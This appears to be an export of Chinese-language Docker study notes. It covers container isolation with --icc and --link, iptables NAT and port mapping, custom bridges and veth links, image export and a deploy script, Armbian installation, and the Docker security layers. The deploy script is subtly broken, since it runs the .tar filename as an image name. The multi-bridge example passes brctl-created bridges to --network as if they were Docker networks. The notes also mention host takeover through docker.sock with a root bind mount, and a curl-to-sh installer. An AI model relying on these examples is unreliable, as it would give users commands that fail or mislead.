* `--link` 是一种显式允许访问的方式，适合精确控制容器间通信，而不依赖默认桥接网络。

**总结**：

* 默认情况下，`-icc=false` 禁止容器互访。
* 使用 `--link=CONTAINER_NAME:ALIAS` 可以在 iptables 上为两个容器添加规则，只允许指定端口互访。
* 这种方式结合了安全隔离与可控访问，适用于需要严格网络策略的场景。

这个机制的核心就是 **严格控制容器之间的访问**：

* 默认情况下，Docker 容器在同一个桥接网络上可以互相访问。
* 使用 **`-icc=false`** 可以关闭这种默认互访，让容器之间不能随意通信。
* 之后，如果某些容器需要通信，可以用 **`--link=CONTAINER_NAME:ALIAS`** 显式允许，只开放指定端口。

**换句话说**：这是为了实现“最小权限”原则：默认禁止容器之间互访，只允许明确授权的端口通信，从而提升安全性，防止容器之间随意访问或泄露服务。

这种方式特别适合 **多租户环境** 或 **敏感服务部署**，每个容器的网络访问都被严格控制。

### 映射容器端口到宿主主机的实现

默认情况下，容器可以主动访问到外部网络的连接，但是外部网络无法访问到容器。

#### 容器访问外部实现

容器所有到外部网络的连接，源地址都会被 NAT 成本地系统的 IP 地址。这是使用 `iptables` 的源地址伪装操作实现的。

查看主机的 NAT 规则。

```bash
sudo iptables -t nat -nL
...
Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination
MASQUERADE  all  --  172.17.0.0/16       !172.17.0.0/16
...
```

其中，上述规则将所有源地址在 `172.17.0.0/16` 网段，目标地址为其他网段（外部网络）的流量动态伪装为从系统网卡发出。MASQUERADE 跟传统 SNAT 的好处是它能动态从网卡获取地址。

#### 外部访问容器实现

容器允许外部访问，可以在 `docker run` 时候通过 `-p` 或 `-P` 参数来启用。

不管用那种办法，其实也是在本地的 `iptable` 的 nat 表中添加相应的规则。

使用 `-P` 时：

```bash
iptables -t nat -nL
...
Chain DOCKER (2 references)
target     prot opt source               destination
DNAT       tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:49153 to:172.17.0.2:80
```

使用 `-p 80:80` 时：

```bash
iptables -t nat -nL
Chain DOCKER (2 references)
target     prot opt source               destination
DNAT       tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:80 to:172.17.0.2:80
```

注意：

* 这里的规则映射了 `0.0.0.0`，意味着将接受主机来自所有接口的流量。用户可以通过 `-p IP:host_port:container_port` 或 `-p IP::port` 来指定允许访问容器的主机上的 IP、接口等，以制定更严格的规则。
* 如果希望永久绑定到某个固定的 IP 地址，可以在 Docker 配置文件 `/etc/docker/daemon.json` 中添加如下内容。

```bash
{
  "ip": "0.0.0.0"
}
```

在 Linux 的 `iptables` 中，**`nat` 表**并不是单个规则，而是一个独立的表（table），里面可以有很多规则和链（chain），所以 NAT 可以有多个，而不是只能一个。具体说明如下：

#### iptables NAT 的概念

**NAT（Network Address Translation）**：网络地址转换，用来修改数据包的源地址或目标地址，实现容器/私网访问外网或端口映射。

**iptables 中的 NAT 表**：

* 专门用于处理数据包地址转换的表
* 内置三个主要链（chains）：
  1. **PREROUTING**：数据包进入前处理，常用于 DNAT（目标地址转换）
  2. **POSTROUTING**：数据包离开前处理，常用于 SNAT/MASQUERADE（源地址转换）
  3. **OUTPUT**：本机发出的包处理 NAT

#### 多个 NAT 规则

* 在 **同一个 NAT 表**里，可以添加多条规则。

  * 例如，你可以同时有：

    ```
    - 容器 A 的 80 端口映射到宿主机 8080
    - 容器 B 的 443 端口映射到宿主机 8443
    ```

  * 这些都是 NAT 表里的不同规则。

* 每条规则针对不同源/目标 IP 或端口，可以共存。

#### 表和链的关系

```
nat 表
 ├─ PREROUTING (DNAT)
 ├─ POSTROUTING (SNAT/MASQUERADE)
 └─ OUTPUT
```

* 表 = 一个容器或系统中处理 NAT 的整体逻辑
* 链 = NAT 表内不同处理阶段
* 规则 = 链内的每条具体操作
* 所以 NAT 可以是 **多个规则**，统一在 **nat 表** 内管理

#### 规则解析

```bash
Chain DOCKER (2 references)
target     prot opt source       destination
DNAT       tcp  --  0.0.0.0/0  0.0.0.0/0  tcp dpt:80 to:172.17.0.2:80
```

**Chain DOCKER**：Docker 在 `nat` 表中创建的自定义链，用来管理容器端口映射规则

**DNAT**：目标地址转换（Destination NAT）

* 把目标 IP/端口从宿主机地址转换到容器内部 IP/端口

**tcp dpt:80 to:172.17.0.2:80**：

* 任何访问宿主机 **80 端口** 的 TCP 流量
* 都会被转发到容器 IP `172.17.0.2` 的 **80 端口**

#### 为什么容器可以被外部访问

* 外部访问宿主机的 80 端口 → iptables 检测到 DNAT 规则 → 转发到容器 80 端口 → 容器处理请求 → 返回流量通过宿主机 NAT 返回客户端
* 这个机制也叫 **端口映射（port mapping）**，Docker 启动容器时使用 `-p` 或 `--publish` 就会自动创建这样的规则。

#### 为什么容器可以访问外部

* 除了 DNAT 规则外，Docker 会在 `POSTROUTING` 链添加 **MASQUERADE/SNAT** 规则，把容器流量的源地址改成宿主机的 IP
* 这样返回的数据包可以正确回到容器，实现 **容器访问外网**

#### 总结

总结你看到的 `DNAT` 规则就是 **宿主机端口映射到容器端口的秘密**，让容器对外可访问。

配合 `MASQUERADE/SNAT` 规则，又实现了容器主动访问外网。

这就是 Docker 网络的核心工作机制：**NAT + IP 转发 + iptables 规则**。

#### 容器转发性能损耗

理论上，容器的端口映射和 NAT 会引入 **轻微的性能损耗**，但实际影响取决于场景和流量大小。

##### 原因

**额外的网络栈处理**

* 当容器访问外网，或者外部访问容器时，数据包必须经过宿主机的 **iptables NAT 处理**（DNAT/SNAT）。
* 这个过程需要 Linux 内核修改数据包头部，并做路由判断，相比直接服务监听在宿主机端口上多了一步处理。

**桥接网络**

* 默认 Docker 使用 **docker0 网桥**，容器的虚拟网卡（veth）通过网桥转发数据包。
* 数据包从容器 → veth → docker0 → iptables → 外网，需要经过几次内核层面转发，比直接在宿主机端口监听多了几个环节。

**网络命名空间隔离**

* 容器在独立网络命名空间内，需要额外做 NAT 和路由转换。
* 这种隔离提供了安全性，但也增加了内核处理开销。

##### 实际损耗

* **轻量服务**（HTTP 请求量不高，单机访问）：
  * 性能损耗可以忽略不计，通常 <1%~5%。
* **高性能或大流量服务**（如 CDN、视频流、大量 TCP 连接）：
  * NAT + 桥接网络可能成为瓶颈，需要优化。

##### 性能优化方式

**Host 网络模式**

* 启动容器时使用 `--network=host`，容器直接使用宿主机网络栈
* 避免 NAT/Docker 网桥，性能几乎和直接在宿主机部署服务相同

**合理的端口映射策略**

* 尽量减少不必要的端口转发
* 高性能服务可直接在宿主机监听端口，或者使用 host 模式

**容器网络插件优化**

* 使用 CNI 插件或 macvlan，让容器直接拥有物理网络 IP
* 减少内核 NAT 和桥接开销

##### 总结

| 部署方式              | 性能       | 说明                                   |
| --------------------- | ---------- | -------------------------------------- |
| 直接在宿主机部署      | 最高       | 数据包直接处理，没有 NAT 或桥接开销    |
| 容器 + 默认桥接 + NAT | 略低       | 多一层 NAT + veth 桥接，轻微性能损耗   |
| 容器 + host 网络模式  | 接近宿主机 | 容器直接用宿主机网络栈，几乎无额外开销 |

**损耗来源**

* **NAT 处理**：容器端口映射（DNAT/SNAT/MASQUERADE）需要内核修改数据包头部，增加少量 CPU 开销。
* **桥接网络**：数据包从容器虚拟网卡 → docker0 网桥 → iptables → 外网，多了几个内核层处理环节。
* **网络命名空间隔离**：容器独立的网络栈增加转发和路由开销。

**实际影响**

* **轻量服务**（普通 Web 或后台服务）：性能损耗微乎其微，通常 <5%，可忽略。
* **高吞吐量或高并发服务**（视频流、大量 TCP 连接）：NAT 与桥接可能成为瓶颈，需要优化。

**结论**：

* 对一般 Web 服务或后台服务，性能差异可以忽略
* 对高吞吐量、高并发场景，容器 NAT 和桥接网络可能成为瓶颈，需要 host 模式或其他网络优化方案
* 容器端口转发会带来轻微性能损耗，但对于大多数应用可以忽略；只有在高并发、大流量场景下，才需要通过 host 网络或其他网络优化方案来降低开销。

容器 NAT/桥接网络确实带来轻微性能损耗，但换来了 **灵活的网络管理、服务隔离和部署便利**。

对大多数应用而言，这种损耗完全可以接受，而收益非常显著。

### 自定义网桥

除了默认的 `docker0` 网桥，用户也可以创建 **自定义网桥**，让容器连接到指定的网络环境中。

#### 指定 Docker 使用的网桥

在启动 Docker 服务时，可以通过参数指定网桥：

```bash
dockerd -b BRIDGE        # 或
dockerd --bridge=BRIDGE
```

如果 Docker 服务已经运行，需要先停止服务并删除旧的默认网桥。

#### 停止 Docker 并删除默认网桥

```bash
sudo systemctl stop docker          # 停止 Docker 服务
sudo ip link set dev docker0 down   # 将 docker0 接口关闭
sudo brctl delbr docker0            # 删除 docker0 网桥
```

**注意**：删除网桥会断开所有使用该网桥的容器，请确保容器已经停止或迁移。

#### 创建自定义网桥

创建网桥接口 `bridge0`：

```bash
sudo brctl addbr bridge0
```

给网桥分配 IP 地址：

```bash
sudo ip addr add 192.168.5.1/24 dev bridge0
```

启动网桥：

```bash
sudo ip link set dev bridge0 up
```

查看网桥状态：

```bash
ip addr show bridge0
```

示例输出：

```bash
4: bridge0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state UP group default
    link/ether 66:38:d0:0d:76:18 brd ff:ff:ff:ff:ff:ff
    inet 192.168.5.1/24 scope global bridge0
       valid_lft forever preferred_lft forever
```

#### 配置 Docker 使用自定义网桥

编辑 Docker 配置文件 `/etc/docker/daemon.json`：

```
{
  "bridge": "bridge0"
}
```

保存后，启动 Docker：

```
sudo systemctl start docker
```

#### 验证容器是否连接到自定义网桥

新建一个容器：

```
docker run -it --rm alpine sh
```

容器内查看 IP 地址和路由：

```
ip addr
ip route
```

宿主机查看网桥信息：

```
brctl show
```

可以看到新建容器已经连接到 `bridge0`，分配了该网段的 IP。

#### 自定义网桥的作用

##### 网络隔离与拓扑管理

* **隔离容器网络**：通过自定义网桥，你可以把一组容器放在独立的网络里，互相之间或与默认网桥的容器隔离。
* **自定义拓扑**：可以为不同应用或服务创建不同网段，便于管理和安全策略的实施。
* **避免冲突**：默认 `docker0` 使用 172.17.0.0/16 网段，自定义网桥可以使用其他私有网段，防止与宿主机或其他网络冲突。

##### 自定义 IP 和路由

* **指定 IP 段**：创建自定义网桥时可以分配特定的网段（如 192.168.5.0/24），容器获得的 IP 在该网段内。
* **灵活路由**：可以结合宿主机路由策略，控制容器间或容器对外访问的路径。
* **便于网络规划**：在多服务或多租户环境下，IP 管理更清晰，可避免地址冲突和混乱。

##### 安全控制

* **控制互访**：不同网桥的容器默认不能直接互相访问，可以配合 `-icc=false` 或防火墙策略严格控制通信。
* **精细权限**：只允许特定网桥内的容器互相通信，实现更精细的访问控制。

##### 提高管理便利性

* **多环境部署**：可为不同应用环境（如开发、测试、生产）创建独立网桥，避免互相干扰。
* **便于监控**：每个网桥可以单独监控流量、连接和端口使用情况。
* **方便迁移和扩容**：容器可以快速挂载到指定网桥，不影响其他服务网络。

##### 总结

自定义网桥的核心作用是**隔离网络、灵活管理 IP 和路由、提高安全性和便捷性**，它让 Docker 容器网络更可控、可规划，并且适用于多租户、复杂服务和生产环境。

#### 多个自定义网桥

在 Docker 中，你可以创建 **多个自定义网桥**，并让不同容器连接到不同的网桥，从而实现容器间的 **网络隔离**。

##### 多网桥支持

* Docker 不只支持默认 `docker0`，还可以通过 `brctl` 或 Docker 网络命令创建多个网桥。
* 每个网桥都是一个独立的 L2 网络，拥有自己的 IP 网段。

例如：

```bash
# 创建两个自定义网桥
sudo brctl addbr bridgeA
sudo ip addr add 192.168.10.1/24 dev bridgeA
sudo ip link set dev bridgeA up

sudo brctl addbr bridgeB
sudo ip addr add 192.168.20.1/24 dev bridgeB
sudo ip link set dev bridgeB up
```

##### 容器连接不同网桥

在启动容器时，指定使用哪一个网桥：

```bash
# 容器1连接 bridgeA
docker run -dit --name container1 --network=bridgeA alpine

# 容器2连接 bridgeB
docker run -dit --name container2 --network=bridgeB alpine
```

结果：

* 容器1只在 bridgeA 网络内通信
* 容器2只在 bridgeB 网络内通信
* 默认情况下，桥间互不访问，实现了 **网络隔离**

##### 网络隔离的效果

不同网桥的容器：

* IP 网段不同
* 默认不可以互相 ping 或访问端口

可以通过防火墙、`--link` 或自定义路由策略实现**必要的跨网桥访问**。

##### 总结

Docker 支持多个网桥，每个网桥独立管理 IP 和流量。将容器分配到不同网桥，可以实现 **网络隔离**，提高安全性和网络管理可控性。

同时，你可以灵活配置 NAT、端口映射或防火墙规则，实现精细化访问控制。

#### 跨网桥通信

[更多](https://www.google.com/search?q=Docker%E8%B7%A8%E7%BD%91%E6%A1%A5%E9%80%9A%E4%BF%A1)

### Docker 容器点到点（P2P）网络连接

在默认情况下，Docker 会将所有容器连接到一个虚拟子网中（通常是 `docker0` 网桥）。

这意味着容器之间的通信都需要经过主机上的桥接设备转发。

然而，有时用户希望让两个容器**直接通信**，而不是通过 `docker0` 转发。
例如：

* 构建高性能容器间通信通道；
* 进行网络实验或自定义拓扑；
* 测试自定义协议或非 IP 网络环境。

此时，就可以通过 **Linux veth（虚拟以太网对）** 来实现“点到点”连接（point-to-point link）。

**实现思路**

veth pair（虚拟以太网对）是一对成对存在的虚拟网络接口：

* 一端发送的数据会从另一端接收；
* 它们可以被放入不同的网络命名空间（netns），从而实现两个容器之间的直连。

Docker 容器的网络环境本质上也是一个独立的 network namespace，
所以我们可以：

1. 启动两个容器（不使用默认网桥）；
2. 创建一对 veth 接口；
3. 将这对接口分别放入两个容器的网络命名空间；
4. 配置 IP 地址与路由。

**操作步骤**

**启动两个不带网络的容器**

```bash
docker run -it --rm --net=none base /bin/bash
root@1f1f4c1f931a:/#

docker run -it --rm --net=none base /bin/bash
root@12e343489d2f:/#
```

`--net=none` 表示容器启动后没有任何网络接口（除了 `lo`），方便我们手动配置。

**获取容器的进程号（PID）**

```bash
docker inspect -f '{{.State.Pid}}' 1f1f4c1f931a
# 输出：2989

docker inspect -f '{{.State.Pid}}' 12e343489d2f
# 输出：3004
```

每个容器都有独立的网络命名空间，可以通过 `/proc/<PID>/ns/net` 访问。

**将容器的网络命名空间挂载到系统可见位置**

```bash
sudo mkdir -p /var/run/netns
sudo ln -s /proc/2989/ns/net /var/run/netns/2989
sudo ln -s /proc/3004/ns/net /var/run/netns/3004
```

这样我们就可以使用 `ip netns exec` 命令直接操作容器网络。

**创建一对 veth 虚拟接口**

```bash
sudo ip link add A type veth peer name B
```

此时系统中出现了两张网络卡片：

* `A`
* `B`

它们是连通的，一端发包另一端就能收到。

**将接口放入容器网络命名空间并配置 IP**

```bash
# 连接到容器 1
sudo ip link set A netns 2989
sudo ip netns exec 2989 ip addr add 10.1.1.1/32 dev A
sudo ip netns exec 2989 ip link set A up
sudo ip netns exec 2989 ip route add 10.1.1.2/32 dev A

# 连接到容器 2
sudo ip link set B netns 3004
sudo ip netns exec 3004 ip addr add 10.1.1.2/32 dev B
sudo ip netns exec 3004 ip link set B up
sudo ip netns exec 3004 ip route add 10.1.1.1/32 dev B
```

**验证连接**

在任意一方容器中执行

```bash
ping 10.1.1.2
```

若可以连通，即表示点到点网络成功建立。

**拓展：保留原有网络 + 直连通道**

如果在启动容器时不加 `--net=none`，
例如：

```bash
docker run -it --rm base /bin/bash
```

则容器除了默认连接到 `docker0` 网桥外，还可以额外通过上述 veth 对建立点到点链路，实现双网络接口的效果：**既能访问外网，又能和特定容器直连通信**

**安全提示：使用 `--icc=false` 的替代方案**

如果只是为了**限制容器之间的互访**，无需创建复杂链路，可以直接在 Docker 启动参数中设置：

```bash
--icc=false --iptables=true
```

这样容器间默认禁止互访，仅允许显式授权的端口访问，这是比手动隔离更简洁的安全方案。

---

---
url: /docker/no1d0nql/index.md
---
# Docker 常用命令
## 清理无用镜像、卷、网络

```bash
docker system prune -af --volumes
```

---

---
url: /docker/nz1bmds4/index.md
---
# Armbian Docker 安装
**卸载旧的 Docker 版本（如果有）**

```bash
sudo apt-get remove -y docker docker-engine docker.io containerd runc
sudo apt-get update
```

**安装依赖工具**

```bash
sudo apt-get install -y \
    ca-certificates \
    curl \
    gnupg \
    lsb-release
```

**添加 Docker 官方 GPG 密钥**

```bash
sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
```

**添加 Docker 官方 Debian 源（自动识别架构）**

```bash
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian \
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
```

`dpkg --print-architecture` 会自动填入 `arm64` 或 `armhf`，根据你的 Armbian 架构自动选择。

**更新软件包索引**

```bash
sudo apt-get update
```

确认没有 404 错误，如果有错误提示，说明源配置错了

**安装 Docker Engine 和相关组件**

```bash
sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
```

**验证安装**

```bash
sudo docker version
sudo docker run hello-world
```

看到 `Hello from Docker!` 就说明 Docker 安装成功。

**可选：设置普通用户运行 Docker（免 sudo）**

```bash
sudo usermod -aG docker $USER
```

然后 **注销再登录**，即可直接用 `docker` 命令。

---

---
url: /docker/nz1bmdsd/index.md
---
## 导出 Docker 镜像为文件

```bash
docker images
# 输出示例
# REPOSITORY           TAG       IMAGE ID
# yumengjh/mynestapp   1.0.0     a458d16cc32a
```

使用 `docker save`

```bash
docker save -o mynestapp_1.0.0.tar yumengjh/mynestapp:1.0.0
```

* `-o` 指定输出文件
* 文件会生成在当前目录，大小就是镜像大小（通常几十 MB 到几百 MB）
* `.tar` 文件可以直接存储到硬盘、移动盘、OneDrive、NAS 等

## 压缩文件（可选）

Docker 镜像通常比较大，可以用 gzip 压缩：

```bash
docker save yumengjh/mynestapp:1.0.0 | gzip > mynestapp_1.0.0.tar.gz
```

* 减少存储空间
* 传输更方便

## 导入镜像文件

当你在另一台机器或者同一台机器恢复镜像时：

```bash
# 如果是 tar
docker load -i mynestapp_1.0.0.tar

# 如果是压缩包
gunzip -c mynestapp_1.0.0.tar.gz | docker load
```

导入完成后，使用 `docker images` 就能看到镜像

可以像普通镜像一样 `docker run`

使用导出的镜像

```bash
docker run -d -p 3000:3000 yumengjh/mynestapp:1.0.0
```

镜像不依赖仓库

可以随时在离线环境部署

## 注意事项

1. **镜像大小**
   * 大镜像（几百 MB 或 GB）导出和导入都要时间
   * 可以多阶段构建减小镜像大小
2. **版本管理**
   * 文件名最好带上版本号，方便管理
   * 例如：`mynestapp_1.0.0.tar`、`mynestapp_1.0.1.tar`
3. **安全性**
   * 导出的镜像文件中包含完整镜像内容，确保不要随意外泄

## 镜像一键部署脚本

检测系统是否安装 Docker，没有就安装（兼容 Debian/Ubuntu）

自动加载同目录下的镜像 `.tar` 文件

创建并运行容器，绑定端口，配置重启策略

人性化中文提示、容错处理、避免重复操作

文件名：`run_mydocker.sh`

```sh
#!/bin/bash

# =========================================
# 0基础友好Docker镜像运行脚本
# 使用方法: 把镜像tar文件和本脚本放在同一目录, chmod +x run_mydocker.sh, ./run_mydocker.sh
# =========================================

IMAGE_FILE="mynestapp_1.0.0.tar"   # 镜像文件名，可修改
CONTAINER_NAME="mynestapp"
HOST_PORT=3000                      # 映射宿主机端口，可修改
CONTAINER_PORT=3000                  # 容器内部端口
RESTART_POLICY="always"              # 重启策略

# ---------- 中文提示 ----------
echo "======================================"
echo "欢迎使用 Docker 镜像快速部署脚本"
echo "本脚本会自动检测Docker、加载镜像并运行容器"
echo "======================================"

# ---------- 检测 Docker ----------
if ! command -v docker &>/dev/null; then
    echo "检测到系统未安装 Docker，正在安装..."
    # Debian/Ubuntu安装流程
    apt-get update
    apt-get install -y apt-transport-https ca-certificates curl gnupg lsb-release
    curl -fsSL https://get.docker.com | sh
    if [ $? -ne 0 ]; then
        echo "Docker 安装失败，请检查网络或权限！"
        exit 1
    fi
    echo "Docker 安装完成！"
else
    echo "检测到 Docker 已安装，跳过安装"
fi

# ---------- 检查镜像文件 ----------
if [ ! -f "$IMAGE_FILE" ]; then
    echo "未找到镜像文件 $IMAGE_FILE，请确保脚本与镜像在同一目录"
    exit 1
fi

# ---------- 加载镜像 ----------
echo "正在加载镜像 $IMAGE_FILE ..."
docker load -i "$IMAGE_FILE"
if [ $? -ne 0 ]; then
    echo "镜像加载失败！请检查文件是否完整"
    exit 1
fi
echo "镜像加载完成！"

# ---------- 检查容器是否已存在 ----------
if [ "$(docker ps -aq -f name=$CONTAINER_NAME)" ]; then
    echo "检测到容器 $CONTAINER_NAME 已存在，尝试删除..."
    docker stop $CONTAINER_NAME &>/dev/null
    docker rm $CONTAINER_NAME &>/dev/null
    echo "旧容器已删除"
fi

# ---------- 运行容器 ----------
echo "正在启动容器 $CONTAINER_NAME ..."
docker run -d \
    --name $CONTAINER_NAME \
    -p $HOST_PORT:$CONTAINER_PORT \
    --restart=$RESTART_POLICY \
    $IMAGE_FILE

if [ $? -ne 0 ]; then
    echo "容器启动失败，请检查端口是否被占用"
    exit 1
fi

echo "容器 $CONTAINER_NAME 启动成功！"
echo "访问方式: http://<服务器IP>:$HOST_PORT"
echo "脚本执行完毕"
```

把 `run_mydocker.sh` 和导出的镜像 `mynestapp_1.0.0.tar` 放在同一目录

给脚本执行权限：

```bash
chmod +x run_mydocker.sh
```

执行脚本：

```bash
sudo ./run_mydocker.sh
```

脚本会自动安装 Docker（如果未安装）、加载镜像、运行容器，并设置 **开机自启**

---

---
url: /docker/t7wt64b8/index.md
---
# Docker 安全
## 评估 Docker 安全性

理解 Docker 安全性的这三个核心方面，对于安全地部署和管理 Docker 容器至关重要。

#### 由内核的命名空间和控制组机制提供的容器内在安全

这是 Docker 安全的基础，它利用了 Linux 内核本身的功能来提供隔离和资源限制。

##### 内核命名空间

命名空间的作用是 **隔离**。它让容器认为自己拥有一个独立的系统环境，而不知道其他容器或宿主机也在运行。Docker 主要使用了以下命名空间：

* **PID 命名空间：**
  * **功能：** 隔离进程 ID。每个容器都有自己的 PID 1 进程（通常是 `init` 系统或应用进程），它看不到宿主机或其他容器中的进程。
  * **安全意义：** 阻止了容器内进程通过 PID 向宿主机或其他容器发送信号（如 `kill -9`），提供了进程间的隔离。
* **Network 命名空间：**
  * **功能：** 为每个容器提供独立的网络栈，包括网络接口、IP 地址、路由表、端口号等。
  * **安全意义：** 容器默认拥有私有的 IP 地址，需要通过端口映射才能被外部访问。这防止了容器随意监听宿主机网络或干扰其他容器的网络流量。
* **Mount 命名空间：**
  * **功能：** 隔离文件系统挂载点。每个容器只能看到自己的文件系统视图，无法访问其他容器或宿主机的未挂载目录。
  * **安全意义：** 这是文件系统隔离的关键。防止容器访问或篡改宿主机的敏感数据（如 `/etc`， `/proc`）。
* **UTS 命名空间：**
  * **功能：** 允许容器拥有自己的主机名和域名。
  * **安全意义：** 次要的安全隔离，防止容器修改宿主机的主机名。
* **IPC 命名空间：**
  * **功能：** 隔离进程间通信资源，如信号量、消息队列和共享内存。
  * **安全意义：** 阻止容器通过 IPC 机制与宿主机或其他无关容器进行通信。
* **User 命名空间：**
  * **功能：** 这是 **最关键也是最强大的** 安全命名空间。它允许将容器内的用户 ID 和组 ID 映射到宿主机上不同的（通常是非特权的）用户 ID 和组 ID。
  * **安全意义：** 容器内的 `root` 用户（UID 0）可以被映射到宿主机上的一个非特权的高位用户 ID（如 UID 100000）。这意味着，即使攻击者在容器内获得了 `root` 权限，它在宿主机上执行的操作也受到其映射到的非特权用户的权限限制，极大地减少了“容器逃逸”带来的影响。**默认情况下，Docker 不启用 User Namespace，需要手动配置。**

##### 控制组

控制组的作用是 **限制和审计**。

* **功能：** Cgroups 用于限制容器可以使用的资源上限，包括：
  * **CPU：** 设置 CPU 份额或绑定到特定 CPU 核心。
  * **内存：** 设置硬性和软性内存限制。
  * **块设备 I/O：** 限制磁盘的读写带宽。
  * **网络 I/O：** 虽然主要由网络命名空间处理，但也可以通过其他工具配合 cgroups 进行限制。
* **安全意义：**
  * **防止拒绝服务攻击：** 确保单个行为异常或恶意的容器不会耗尽宿主机的所有资源（如内存、CPU），从而导致系统瘫痪或其他容器被“饿死”。
  * **确保服务质量：** 为关键容器保障必要的资源。
  * **提供审计：** 统计容器的资源使用情况。

**小结：** 命名空间和 Cgroups 共同构成了容器的“沙箱”，提供了基础的隔离和资源控制。但 **它们并非无懈可击**，历史上曾出现过利用内核漏洞突破命名空间隔离的案例。

#### Docker 程序（特别是服务端）本身的抗攻击性

Docker 采用客户端-服务器架构。守护进程 `dockerd` 以 root 权限运行，这是整个体系中最主要的安全攻击面。

##### Docker 守护进程的攻击面

* **REST API：** Docker 守护进程监听一个 Socket（通常是 Unix 套接字 `/var/run/docker.sock`，有时也可能是 TCP 端口）来接收来自 `docker` 客户端的命令。
* **安全风险：**
  * 任何能访问到 Docker Socket 的用户或进程，本质上就获得了在宿主机上执行任意命令的权限（因为 `dockerd` 以 root 运行）。例如，他们可以通过 `docker run -v /:/host ...` 将宿主机根目录挂载到容器中，从而完全控制宿主机。
  * 如果错误地将 Docker API 暴露在 TCP 端口且没有适当的认证和加密，那么网络上的任何人均可控制 Docker 守护进程。

##### 安全最佳实践

* **严格保护 Docker Socket：** 永远不要将 `docker.sock` 暴露给不可信的容器。在容器内挂载 `docker.sock` 是一种常见的 CI/CD 模式，但这等同于将 root 权限交给了该容器，需要极其谨慎。
* **使用非 root 用户运行守护进程：** 较新版本的 Docker 支持以非 root 用户运行守护进程，这可以减轻攻击影响。
* **启用 TLS 认证：** 如果必须使用 TCP 连接，务必配置 TLS 双向认证，以确保只有授权的客户端才能连接。
* **定期更新：** Docker 本身也可能存在漏洞，需要保持最新版本，以获取安全补丁。

**小结：** Docker 守护进程是一个高权限、高价值的目标。其安全性很大程度上依赖于配置的合理性和对访问权限的严格控制。

#### 内核安全性的加强机制对容器安全性的影响

由于命名空间和 Cgroups 并非绝对安全，我们需要额外的安全层来“加固”内核和容器，这就是“纵深防御”策略。

##### Capabilities

* **概念：** Linux Capabilities 将 root 用户的超级权限分解为一系列独立的权限单元。
* **Docker 的应用：** 默认情况下，Docker 容器在启动时只被授予一个 **受限的** 能力集合，即使容器内以 root 运行。例如，默认被移除的能力包括：
  * `CAP_SYS_MODULE`: 禁止加载内核模块。
  * `CAP_SYS_ADMIN`: 禁止执行大量系统管理命令。
  * `CAP_NET_RAW`: 禁止创建原始套接字（防止 `ping` 等）。
* **安全实践：**
  * **原则：** 使用 `--cap-drop` 移除所有能力，然后仅通过 `--cap-add` 添加应用运行所必需的最小能力集。
  * **示例：** `docker run --cap-drop ALL --cap-add NET_BIND_SERVICE ...`

##### Seccomp

* **概念：** Seccomp 是一种内核安全机制，用于限制进程可以执行的系统调用。
* **Docker 的应用：** Docker 提供了一个默认的 Seccomp 配置文件，它白名单了大约 300 个系统调用，并禁用了大约 40 个被认为危险或不必要的系统调用（如 `swapon`, `swapoff`, `reboot`）。
* **安全实践：** 可以使用自定义的 Seccomp 配置文件，进一步收紧系统调用的访问，为特定应用量身定制最严格的策略。

##### AppArmor 和 SELinux

* **概念：** 它们是强制访问控制系统，可以为进程定义其可以访问的文件、网络端口等资源的精细策略。
* **Docker 的应用：**
  * Docker 默认会为容器生成并加载一个 AppArmor 配置文件（如果宿主机支持）。
  * 这个默认策略阻止了容器进行许多危险操作，例如写入 `/proc` 和 `/sys` 下的某些文件。
* **安全实践：** 可以编写自定义的 AppArmor 或 SELinux 策略，为容器提供更强的强制访问控制。

##### 其他加固技术

* **无特权容器：** 使用 User Namespace，如前所述，是最大的安全改进之一。
* **只读根文件系统：** 使用 `--read-only` 标志启动容器，防止恶意代码写入文件系统。
* **安全计算模式：** 使用 `--security-opt seccomp=...` 应用自定义 Seccomp 策略。

#### 总结

评估 Docker 安全性是一个多层次的过程：

1. **基础隔离层：** 依赖 Linux 内核的 **命名空间和控制组**。这是容器技术的基石，提供了基本的沙箱环境，但存在被内核漏洞攻破的风险。
2. **程序攻击面：** **Docker 守护进程** 本身是一个关键风险点，必须通过严格的访问控制和网络加密来保护。
3. **纵深防御层：** 利用 **Capabilities、Seccomp、AppArmor/SELinux** 等内核安全机制，遵循“最小权限原则”，极大地提升容器的安全性，即使基础隔离被突破，也能有效遏制攻击。

一个安全的 Docker 部署，必然是这三个方面协同作用的结果，缺一不可。

## 内核命名空间

您可以把 Docker 容器想象成一个 **装修好的酒店房间**。

* **命名空间 = 房间的墙和门锁**
  * 它提供了最基本的 **隔离**。你在你的房间里活动、睡觉，不会被走廊或其他房间的客人看到或打扰（进程隔离）。
  * 每个房间都有独立的 **门牌号和钥匙**（网络栈）。你无法直接进入另一个房间，除非酒店（宿主机）在前台为你们建立了联系（比如通过端口映射或 Links）。
* **网络通信 = 酒店的内部电话系统**
  * 所有房间（容器）都通过酒店的总机（**主机的网桥接口**）相互联系。要打电话给另一个房间，你需要知道对方的房间号，并通过总机转接。这就像物理机器通过一台共享的交换机来通信。

**那么，这套“建房间”的技术可靠吗？非常可靠。**

* **历史悠久**：支撑 Docker 容器的核心技术（Linux 命名空间）在 **2008 年** 就已经被加入到主流 Linux 内核中了。这意味着它已经经历了超过 15 年的实践检验和持续改进。
* **久经考验**：全球无数大型互联网公司（如 Google, Netflix）每天都在数百万台服务器上运行着容器，其稳定性和安全性已经得到了充分的证明。
* **源远流长**：这个想法本身甚至更早，源于一个叫 **OpenVZ** 的成熟容器项目（2005 年）。Docker 使用的是经过长期打磨和验证的内核基础。

**总结**

1. **隔离可靠**：Docker 使用 **命名空间** 为每个容器创建了独立的“小房间”，实现了有效的进程和网络隔离。
2. **通信可控**：容器之间通过 **主机网桥** 通信，就像酒店总机转接电话，既方便又可控。
3. **技术成熟**：这套底层技术 **并非新技术**，它已经发展了近二十年，非常稳定可靠，足以支撑当今最重要的商业应用。

## 控制组

控制组，可以理解为我们为容器设定的 **“资源管理员”**。

